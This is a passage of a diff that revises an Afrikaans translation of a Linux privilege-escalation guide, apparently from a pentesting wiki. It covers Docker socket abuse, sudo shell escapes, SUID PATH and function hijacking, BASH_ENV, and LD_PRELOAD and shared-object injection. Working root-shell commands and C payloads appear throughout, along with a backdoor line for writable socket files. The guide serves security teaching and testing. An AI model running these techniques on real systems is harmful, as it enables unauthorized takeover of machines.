deur 'n symlink daarna te skep op `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) stel **proseskommunikasie** in staat op dieselfde of verskillende masjiene binne klient-bediener modelle. Hulle gebruik standaard Unix-deskriptorlêers vir inter-rekenaarkommunikasie en word opgestel deur middel van `.socket` lêers. +Unix Domain Sockets (UDS) stel in staat **proseskommunikasie** op dieselfde of verskillende masjiene binne client-server modelle. Hulle gebruik standaard Unix-deskriptorlêers vir kommunikasie tussen rekenaars en word opgestel deur `.socket`-lêers. -Sockets kan gekonfigureer word met `.socket` lêers. +Sockets kan gekonfigureer word met behulp van `.socket`-lêers. -**Leer meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameters gekonfigureer word: +**Lees meer oor sockets met `man systemd.socket`.** In hierdie lêer kan verskeie interessante parameters gekonfigureer word: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar in samevatting word dit gebruik om **aan te dui waarop dit gaan luister** na die socket (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) -- `Accept`: Neem 'n boolean-argument. As dit **true** is, word 'n **service-instantie geskep vir elke inkomende verbinding** en slegs die verbindings-socket word daaraan deurgegee. As dit **false** is, word alle luister-sockets self **aan die gestarte service-unit deurgegee**, en slegs een service-unit word geskep vir alle verbindings. Hierdie waarde word geïgnoreer vir datagram-sockets en FIFOs waar 'n enkele service-unit onvoorwaardelik al die inkomende verkeer hanteer. **Standaard is false**. Vir prestasie-redes word dit aanbeveel om nuwe daemons slegs op 'n wyse te skryf wat geskik is vir `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls wat onderskeidelik **uitgevoer word voordat** of **na** die luisterende **sockets**/FIFOs **geskep** en gebind is. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses. -- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat onderskeidelik **uitgevoer word voordat** of **na** die luisterende **sockets**/FIFOs **gesluit** en verwyder word. -- `Service`: Spesifiseer die **service**-unit naam **om te aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Die standaard is die service wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies verskil, maar 'n samevatting word gebruik om te **aandui waar dit gaan luister** na die socket (die pad van die AF_UNIX socket-lêer, die IPv4/6 en/of poortnommer om na te luister, ens.) +- `Accept`: Neem 'n boolean-argument. As **true**, **word 'n service instance geskep vir elke inkomende verbinding** en slegs die verbindings-socket word daaraan deurgegee. As **false**, word al die luisterende sockets self **aan die gestarte service unit oorgedra**, en slegs een service unit word geskep vir al die verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele service unit onvoorwaardelik alle inkomende verkeer hanteer. **Standaard: false**. Om prestasierede word aanbeveel om nuwe daemons slegs so te skryf dat hulle geskik is vir `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdragreëls wat onderskeidelik **uitgevoer word voordat** of **nadat** die luisterende **sockets**/FIFOs geskep en gebind is. Die eerste token van die opdragreël moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses. +- `ExecStopPre`, `ExecStopPost`: Addisionele **opdragte** wat onderskeidelik **uitgevoer word voordat** of **nadat** die luisterende **sockets**/FIFOs gesluit en verwyder word. +- `Service`: Spesifiseer die **service** unit naam **om te aktiveer** by **inkomende verkeer**. Hierdie instelling is slegs toegelaat vir sockets met Accept=no. Dit staan standaard op die diens wat dieselfde naam as die socket dra (met die agtervoegsel vervang). In die meeste gevalle behoort dit nie nodig te wees om hierdie opsie te gebruik nie. -### Writable .socket files +### Skryfbare .socket-lêers -As jy 'n **skryfbare** `.socket` lêer vind kan jy aan die begin van die `[Socket]` afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` **byvoeg** en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag totdat die masjien herbegin is.**\ -_Noot dat die stelsel daardie socket-lêerkonfigurasie moet gebruik anders sal die backdoor nie uitgevoer word nie_ +As jy 'n **skryfbare** `.socket`-lêer vind, kan jy aan die begin van die `[Socket]`-afdeling iets soos toevoeg: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom sal jy **waarskynlik moet wag totdat die masjien herbegin is.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Writable sockets +### Skryfbare sockets -As jy enige **skryfbare socket** identifiseer (_nou praat ons oor Unix Sockets en nie oor die config `.socket` lêers nie_), dan **kan jy kommunikeer** met daardie socket en moontlik 'n kwesbaarheid uitbuit. +As jy **'n skryfbare socket identifiseer** (_nou praat ons oor Unix Sockets en nie oor die konfigurasie `.socket`-lêers nie_), dan **kan jy met daardie socket kommunikeer** en moontlik 'n kwesbaarheid uitbuit. ### Enumereer Unix Sockets ```bash netstat -a -p --unix ``` -### Ruwe verbinding +### Rou verbinding ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -499,7 +530,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Voorbeeld van eksploitasie:** +**Uitbuitingsvoorbeeld:** {{#ref}} @@ -508,26 +539,26 @@ socket-command-injection.md ### HTTP sockets -Let op dat daar moontlik sommige **sockets listening for HTTP** versoeke (_Ek praat nie oor .socket files nie, maar oor die lêers wat as unix sockets optree_). Jy kan dit nagaan met: +Let daarop dat daar moontlik 'n paar **sockets listening for HTTP** requests is (_Ek praat nie van .socket files nie, maar van die lêers wat as unix sockets optree_). Jy kan dit nagaan met: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If die socket **met 'n HTTP** versoek reageer, kan jy daarmee **kommunikeer** en dalk **'n kwesbaarheid exploit**. +As die socket **reageer op 'n HTTP** versoek, kan jy **kommunikeer** daarmee en dalk **exploit 'n kwesbaarheid**. -### Skryfbare Docker Socket +### Skryfbare Docker socket -Die Docker socket, wat dikwels by `/var/run/docker.sock` gevind word, is 'n kritieke lêer wat beveilig moet word. By verstek is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Besit van write access tot hierdie socket kan lei tot privilege escalation. Hier is 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. +Die Docker socket, dikwels gevind by `/var/run/docker.sock`, is 'n kritieke lêer wat beveilig moet word. Standaard is dit skryfbaar deur die `root` gebruiker en lede van die `docker` groep. Om skryftoegang tot hierdie socket te hê, kan tot privilege escalation lei. Hier volg 'n uiteensetting van hoe dit gedoen kan word en alternatiewe metodes as die Docker CLI nie beskikbaar is nie. -#### **Privilege Escalation with Docker CLI** +#### **Privilege Escalation met Docker CLI** -As jy write access tot die Docker socket het, kan jy privileges escalate met die volgende opdragte: +As jy skryftoegang tot die Docker socket het, kan jy escalate privileges deur die volgende opdragte te gebruik: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Hierdie opdragte laat jou toe om 'n container met root-vlak toegang tot die gasheer se lêerstelsel te laat loop. +Hierdie opdragte laat jou toe om 'n container te laat loop met root-vlak toegang tot die gasheer se lêerstelsel. -#### **Docker API direk gebruik** +#### **Using Docker API Directly** In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker socket steeds gemanipuleer word deur die Docker API en `curl` opdragte. @@ -543,13 +574,13 @@ curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start die pas geskepte container: +Start die nuut geskepte container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Gebruik `socat` om 'n verbinding met die container te vestig, wat toelaat dat jy opdragte daarin kan uitvoer. +3. **Attach to the Container:** Koppel aan die container: gebruik `socat` om 'n verbinding met die container te vestig, wat jou in staat stel om opdragte binne dit uit te voer. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,31 +590,31 @@ Connection: Upgrade Upgrade: tcp ``` -Na die opstelling van die `socat`-verbinding kan jy opdragte direk in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel. +Nadat die `socat`-verbinding opgestel is, kan jy direk opdragte in die container uitvoer met root-vlak toegang tot die gasheer se lêerstelsel. ### Ander -Neem kennis dat as jy skryfregte oor die docker socket het omdat jy **binne die groep `docker`** is, jy [**meer maniere om voorregte te eskaleer**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API op 'n poort luister** kan jy dit ook kompromitteer](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Let daarop dat as jy skryfpermitte oor die docker socket het omdat jy **inside the group `docker`** is, jy [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Kyk na **meer maniere om uit docker te breek of dit te misbruik om voorregte te eskaleer** in: +Kyk na **meer maniere om uit docker te ontsnap of dit te misbruik om voorregte te eskaleer** in: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) voorregte eskalering +## Containerd (ctr) voorregte eskalasie -As jy uitvind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**: +As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** voorregte eskalering +## **RunC** voorregte eskalasie -As jy uitvind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**: +As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om voorregte te eskaleer**: {{#ref}} @@ -592,15 +623,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is 'n gesofistikeerde **inter-proses kommunikasie (IPC)-stelsel** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie. +D-Bus is 'n gesofistikeerde inter-Process Communication (IPC)-stelsel wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met moderne Linux-stelsels in gedagte, bied dit 'n robuuste raamwerk vir verskeie vorme van toepassingskommunikasie. -Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruiling tussen prosesse verbeter, soortgelyk aan **enhanced UNIX domain sockets**. Verder help dit met die uitsend van gebeurtenisse of seine, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler veroorsaak om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n remote object-stelsel, wat diensversoeke en metode-oproepe tussen toepassings vereenvoudig en prosesse wat tradisioneel kompleks was, stroomlyn. +Die stelsel is veelsydig en ondersteun basiese IPC wat die data-uitruil tussen prosesse verbeter, soortgelyk aan verbeterde UNIX domain sockets. Verder help dit om gebeure of seine uit te saai, wat naatlose integrasie tussen stelselkomponente bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth daemon oor 'n inkomende oproep kan 'n musiekspeler laat demp om die gebruikerservaring te verbeter. Daarbenewens ondersteun D-Bus 'n remote object-stelsel wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig, en prosesse vergemaklik wat tradisioneel kompleks was. -D-Bus werk op 'n **toelaat/weier-model**, en bestuur boodskaptoestemmings (metode-oproepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik vir voorregte eskalering misbruik word deur hierdie toestemmings uit te buit. +D-Bus werk op 'n toelaat/weier-model en bestuur boodskappermitte (metode-aanroepe, seinuitsendings, ens.) gebaseer op die kumulatiewe effek van pasgemaakte beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus en kan moontlik lei tot voorreg-eskalasie deur die uitbuiting van hierdie permitte. -'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat die toestemmings vir die root-gebruiker beskryf om `fi.w1.wpa_supplicant1` te besit, na te stuur en boodskappe daarvan te ontvang. +'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat permitte in detail beskryf vir die root-gebruiker om `fi.w1.wpa_supplicant1` te besit, na te stuur en boodskappe daarvandaan te ontvang. -Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie. +Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op alle gebruikers wat nie deur ander spesifieke beleide gedek word nie. ```xml @@ -609,7 +640,7 @@ Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "de ``` -**Leer hoe om 'n D-Bus kommunikasie te enumerate en te exploit hier:** +**Leer hier hoe om 'n D-Bus communication te enumerate en te exploit:** {{#ref}} @@ -620,7 +651,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md Dit is altyd interessant om die netwerk te enumerate en die posisie van die masjien uit te vind. -### Generiese enumeration +### Algemene enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -643,24 +674,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Oop poorte +### Open ports -Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang daartoe verkry het nie: +Kontroleer altyd netwerkdienste wat op die masjien loop en waarmee jy nie kon kommunikeer voordat jy toegang daartoe gekry het nie: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Kontroleer of jy traffic kan sniff. As jy dit kan, kan jy dalk 'n paar credentials vang. +Kontroleer of jy sniff traffic. As jy dit kan, kan jy dalk credentials vang. ``` timeout 1 tcpdump ``` -## Gebruikers +## Users -### Generiese Enumerasie +### Generic Enumeration -Kontroleer **wie** jy is, watter **bevoegdhede** jy het, watter **gebruikers** in die stelsels is, watter daarvan kan **aanmeld** en watter een het **root-bevoegdhede:** +Kontroleer **wie** jy is, watter **privileges** jy het, watter **users** in die stelsels is, watter van hulle kan **login** en watter het **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -682,14 +713,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### Groot UID -Sommige Linux-weergawes is geraak deur 'n fout wat gebruikers met **UID > INT_MAX** toelaat om escalate privileges. Meer inligting: [hier](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [hier](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Sommige Linux-weergawes is deur 'n fout geraak wat gebruikers met **UID > INT_MAX** toelaat om to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Groepe -Kontroleer of jy 'n **lid van 'n groep** is wat jou root privileges kan gee: +Kyk of jy 'n **lid van 'n groep** is wat jou root privileges kan verleen: {{#ref}} @@ -698,7 +729,7 @@ interesting-groups-linux-pe/ ### Klembord -Kontroleer of daar iets interessant in die klembord is (indien moontlik) +Kyk of daar iets interessant in die klembord is (indien moontlik) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -713,29 +744,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Bekende passwords +### Bekende wagwoorde -As jy enige password van die omgewing ken, probeer om as elke user te login met daardie password. +As jy **enige wagwoord ken** van die omgewing, **probeer om as elke gebruiker aan te meld** met daardie wagwoord. ### Su Brute -Indien jy nie omgee om baie noise te maak en die `su` en `timeout` binaries op die rekenaar teenwoordig is nie, kan jy probeer om users te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om users te brute-force. +Indien jy nie omgee om baie geraas te maak nie en die `su` en `timeout` binaries op die rekenaar beskikbaar is, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force. -## Skryfbare PATH-misbruik +## Skryfbare PATH misbruik ### $PATH -Indien jy vind dat jy binne 'n folder op die $PATH kan write, kan jy moontlik privileges escalate deur 'n backdoor in die writable folder te create met die naam van 'n command wat deur 'n ander user (idealiter root) uitgevoer gaan word en wat nie loaded word vanaf 'n folder wat voor jou writable folder op die $PATH lê nie. +As jy vind dat jy kan **skryf binne 'n gids van die $PATH** kan jy dalk privilegies eskaleer deur **'n backdoor te skep in die skryfbare gids** met die naam van 'n command wat deur 'n ander gebruiker (ideaalweg root) uitgevoer gaan word en wat **nie gelaai word vanaf 'n gids wat voor jou skryfbare gids in $PATH lê** nie. ### SUDO and SUID -Jy mag dalk toegelaat word om 'n command met sudo uit te voer, of dit kan die suid bit hê. Kontroleer dit met: +Jy mag moontlik toegelaat wees om 'n command uit te voer met sudo, of hulle kan die suid-bit hê. Kontroleer dit met: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Sommige **onverwagte opdragte laat jou toe om lêers te lees en/of te skryf of selfs 'n opdrag uit te voer.** Byvoorbeeld: +Sommige **onverwagte commands laat jou toe om files te read en/of te write of selfs 'n command te execute.** Byvoorbeeld: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,37 +777,37 @@ less>! ``` ### NOPASSWD -Sudo configuration kan 'n gebruiker toelaat om 'n opdrag met 'n ander gebruiker se regte uit te voer sonder om die wagwoord te ken. +Sudo-konfigurasie kan 'n gebruiker toelaat om 'n kommando met 'n ander gebruiker se voorregte uit te voer sonder om die wagwoord te ken. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer; dit is nou eenvoudig om 'n shell te kry deur 'n ssh key in die root-gids te voeg of deur `sh` aan te roep. +In hierdie voorbeeld kan die gebruiker `demo` `vim` as `root` uitvoer; dit is nou eenvoudig om 'n shell te kry deur 'n ssh-sleutel in die root-gids by te voeg of deur `sh` aan te roep. ``` sudo vim -c '!sh' ``` ### SETENV -Hierdie direktief laat die gebruiker toe om **set an environment variable** terwyl iets uitgevoer word: +Hierdie direktief laat die gebruiker toe om **'n omgewingsveranderlike te stel** terwyl iets uitgevoer word: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **vulnerable** vir **PYTHONPATH hijacking** om 'n arbitrêre python library te laai terwyl die skrip as root uitgevoer word: +Hierdie voorbeeld, **gebaseer op HTB machine Admirer**, was **kwesbaar** vir **PYTHONPATH hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer is: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV behou via sudo env_keep → root shell +### BASH_ENV bewaar deur sudo env_keep → root shell -Indien sudoers `BASH_ENV` behou (bv. `Defaults env_keep+="ENV BASH_ENV"`), kan jy Bash se nie-interaktiewe opstartgedrag benut om ewekansige kode as root uit te voer wanneer ’n toegelate opdrag aangeroep word. +As sudoers `BASH_ENV` bewaar (bv. `Defaults env_keep+="ENV BASH_ENV"`), kan jy Bash se nie-interaktiewe opstartgedrag misbruik om willekeurige kode as root uit te voer wanneer jy 'n toegelate opdrag aanroep. -- Why it works: Vir nie-interaktiewe shells evalueer Bash `$BASH_ENV` en laai daardie lêer voordat die teiken-skrip uitgevoer word. Baie sudo-reëls laat toe om ’n script of ’n shell-wrapper uit te voer. As `BASH_ENV` deur sudo behou word, word jou lêer met root-bevoegdhede ingelaai. +- Waarom dit werk: Vir nie-interaktiewe shells evalueer Bash `$BASH_ENV` en sources daardie lêer voordat dit die teiken-skrip uitvoer. Baie sudo-reëls laat toe om 'n skrip of 'n shell-wrapper uit te voer. As `BASH_ENV` deur sudo bewaar word, word jou lêer met root-regte gesourced. - Vereistes: -- ’n sudo-reël wat jy kan gebruik (enige teiken wat `/bin/bash` nie-interaktief aanroep, of enige bash-skrip). -- `BASH_ENV` teenwoordig in `env_keep` (kontroleer met `sudo -l`). +- 'n sudo-reël wat jy kan uitvoer (enige teiken wat `/bin/bash` nie-interaktief aanroep, of enige bash-skrip). +- `BASH_ENV` aanwesig in `env_keep` (kontroleer met `sudo -l`). - PoC: ```bash @@ -788,12 +819,12 @@ chmod +x /dev/shm/shell.sh BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash # You should now have a root shell ``` -- Verharding: +- Hardening: - Verwyder `BASH_ENV` (en `ENV`) uit `env_keep`, verkies `env_reset`. -- Vermy shell wrappers vir sudo-toegestane opdragte; gebruik minimale binaries. -- Oorweeg sudo I/O logging en waarskuwings wanneer bewaarde env vars gebruik word. +- Vermy shell wrappers vir sudo-allowed commands; gebruik minimale binaries. +- Oorweeg sudo I/O logging en alerting wanneer preserved env vars gebruik word. -### Paaie wat sudo-uitvoering omseil +### Sudo execution bypassing paths **Gaan na** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash @@ -814,21 +845,21 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo-opdrag/SUID-binarie sonder opdragpad -As die **sudo toestemming** aan 'n enkele opdrag **gegee word sonder om die pad te spesifiseer**: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH-veranderlike te verander. +As die **sudo permission** aan 'n enkele opdrag **sonder om die pad te spesifiseer** toegeken is: _hacker10 ALL= (root) less_ kan jy dit uitbuit deur die PATH-variabele te verander ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Hierdie tegniek kan ook gebruik word as 'n **suid** binary **voer 'n ander opdrag uit sonder om die pad daarna te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID binary)**). +Hierdie tegniek kan ook gebruik word as 'n **suid** binary **'n ander opdrag uitvoer sonder om die pad daarna te spesifiseer (kontroleer altyd met** _**strings**_ **die inhoud van 'n vreemde SUID-binaire)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary met die pad na die opdrag +### SUID binary met command path -As die **suid** binary **'n ander opdrag uitvoer en die pad spesifiseer**, kan jy probeer om **export a function** te skep met die naam van die opdrag wat die suid-lêer aanroep. +As die **suid** binary **'n ander opdrag uitvoer en die pad spesifiseer**, dan kan jy probeer om 'n **export a function** te skep met dieselfde naam as die opdrag wat die suid-lêer aanroep. -Byvoorbeeld, as 'n suid binary _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die function te skep en dit te export: +Byvoorbeeld, as a suid binary calls _**/usr/sbin/service apache2 start**_ moet jy probeer om die funksie te skep en dit te exporteer: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -837,14 +868,14 @@ Wanneer jy dan die suid binary aanroep, sal hierdie funksie uitgevoer word ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so files) aan te dui wat deur die loader gelaai moet word voor alle ander, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die voorlaai van 'n biblioteek. +Die **LD_PRELOAD** omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so-lêers) te spesifiseer wat deur die lader voor alle ander gelaai moet word, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek. -Om stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie misbruik word, veral met **suid/sgid** executables, dwing die stelsel sekere voorwaardes af: +Om stelselveiligheid te handhaaf en te verhinder dat hierdie funksie misbruik word, veral by **suid/sgid** uitvoerbare lêers, dwing die stelsel sekere voorwaardes af: -- Die loader ignoreer **LD_PRELOAD** vir executables waar die real user ID (_ruid_) nie met die effective user ID (_euid_) ooreenstem nie. -- Vir executables met suid/sgid word slegs biblioteke in standaardpade wat ook suid/sgid is, voorafgelaai. +- Die lader ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die ware gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_) nie. +- Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is voorafgelaai. -Privilege escalation kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitset van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingsveranderlike behoue bly en erken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van ewekansige kode met verhoogde regte. +Privilegie-eskalasie kan plaasvind as jy die vermoë het om opdragte met `sudo` uit te voer en die uitvoer van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat toe dat die **LD_PRELOAD** omgewingsveranderlike behoue bly en herken word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van ewekansige kode met verhoogde regte. ``` Defaults env_keep += LD_PRELOAD ``` @@ -861,17 +892,17 @@ setuid(0); system("/bin/bash"); } ``` -Dan **compile it** deur te gebruik: +Dan **kompileer dit** met: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Uiteindelik, **escalate privileges** wat uitgevoer word +Uiteindelik, voer **escalate privileges** uit ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> ’n Soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** omgewingsveranderlike beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word. +> 'n soortgelyke privesc kan misbruik word as die aanvaller die **LD_LIBRARY_PATH** env variable beheer omdat hy die pad beheer waar biblioteke gesoek gaan word. ```c #include #include @@ -893,13 +924,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Wanneer jy 'n binary met **SUID** toestemmings teëkom wat vreemd lyk, is dit 'n goeie praktyk om te verifieer of dit **.so**-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: +Wanneer jy op 'n binary met **SUID**-toestemmings stuit wat ongewoon voorkom, is dit 'n goeie praktyk om te kontroleer of dit **.so**-lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag uit te voer: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Byvoorbeeld, die voorkoms van ’n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op ’n moontlikheid vir uitbuiting. +Byvoorbeeld, die teëkom van 'n fout soos _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ dui op 'n moontlikheid vir uitbuiting. -Om dit uit te buiten, skep ’n C-lêer, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: +Om dit uit te buit, skep 'n C-lêer, byvoorbeeld _"/path/to/.config/libcalc.c"_, wat die volgende kode bevat: ```c #include #include @@ -910,13 +941,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Hierdie kode, sodra dit gekompileer en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer. +Hierdie kode beoog, sodra dit saamgestel en uitgevoer is, om bevoegdhede te verhoog deur lêerpermissies te manipuleer en 'n shell met verhoogde bevoegdhede uit te voer. -Kompileer die bogenoemde C-lêer tot 'n shared object (.so)-lêer met: +Kompileer die bogenoemde C-lêer na 'n shared object (.so)-lêer met: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` 